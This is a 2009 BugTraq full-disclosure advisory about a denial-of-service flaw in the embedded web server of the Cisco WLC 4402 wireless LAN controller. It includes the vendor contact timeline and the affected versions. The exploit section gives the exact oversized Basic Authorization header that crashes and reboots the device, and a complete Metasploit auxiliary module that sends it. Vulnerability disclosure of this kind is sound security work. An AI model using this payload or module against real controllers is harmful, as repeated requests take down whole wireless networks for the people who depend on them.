BugTraq
Cisco WLC 4402 Denial-of-Service vulnerability Jul 26 2009 02:17PM
SySS security advisories -- Christoph Bott (advisories bott syss de)
=======================================
Vulnerable Product: Cisco WLC 4402 (most likely among many others)
Vulnerability discovered: January 2009
Reported to vendor: Jan 01, 2009
Fix available: not yet
=======================================

TIMELINE:
---------------------------------------------------
+ 01/11/2009: discovered vulnerability on a customer's site

+ 01/13/2009: initial vendor contact via psirt (at) cisco (dot) com [email concealed]

+ 01/14/2009: vendor opened PSIRT case ID PSIRT-1018301631

+ 02/09/2009: vendor states, that bugfix is _not_ contained within
cisco-sa-20090204-wlc

+ 03/30/2009: vendor states: "We have a fix for this issue. However,
due to some other issues we are investigating we may not make this
public until about 42 days."

+ 06/02/2009: vendor states: "I really apologize for the delay on
publishing this advisory. The reason that we have not publish is because
we are also incorporating other security fixes within all the affected
releases. We WILL be publishing the advisory on July 8th, 2009 at 1600 UTC."

+ 07/24/2009: Customer agreed with full disclosure

+ 07/26/2009: Still no fixes available; full disclosure due to lacking
vendor activities.

PRODUCT:
---------------------------------------------------
The Cisco WLC 4402 is a Wireless LAN Controller, which is manageable via
an integrated embedded webserver (emweb httpd).

AFFECTED VERSIONS:
---------------------------------------------------
The vulnerability described below could have been verified on WLC 4402,
software release 5.1.151.0. However, since the vulnerability affects the
integrated embedded emweb http daemon, several other products and/or
software releases might be affected, too.

VULNERABILITY:
---------------------------------------------------
Using long, random authentication data, the embedded web server can be
crashed, which leeds to a device reboot. Subsequently repeated requests
lead to a permanent denial of service of the WLC (and therefore of the
whole wireless infrastructure).

EXPLOIT:
---------------------------------------------------
Not needed.

One only has to call
"/screens/frameset.html"
and provide Basic Authentication data which uses
a username and password longer than 63 characters each.

The following header worked for me:
Authorization: Basic
MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0
NTY3ODkwMTIzNDoxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz
NDU2Nzg5MDEyMzQ1Njc4OTAxMjM0

The following code snippet can be used as a module within the metasploit
framework:

---- snip -----
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos

def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco WLC 4200 Basic Auth
Denial of Service',
'Description' => %q{

This module triggers a Denial of Service
condition in the Cisco WLC 4200
HTTP server. By sending a GET request
with long authentication data, the
device becomes unresponsive and reboots.
Firmware is reportedly vulnerable.
},
'Author' => [ 'Christoph Bott
<msf[at]bott.syss.de>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 5949 $',
'References' =>
[
[ 'BID', '???'],
[ 'CVE', '???'],
[ 'URL',
'http://www.cisco.com/?????'],
],
'DisclosureDate' => 'January 26 2009'))

register_options(
[
Opt::RPORT(80),
], self.class)

end

def run
connect

print_status("Sending HTTP DoS packet")

sploit =
"GET /screens/frameset.html HTTP/1.0\r\n" +
"Authorization: Basic
MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0
NTY3ODkwMTIzNDoxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz
NDU2Nzg5MDEyMzQ1Njc4OTAxMjM0"

sock.put(sploit + "\r\n")

disconnect
end

end

---- snip ----

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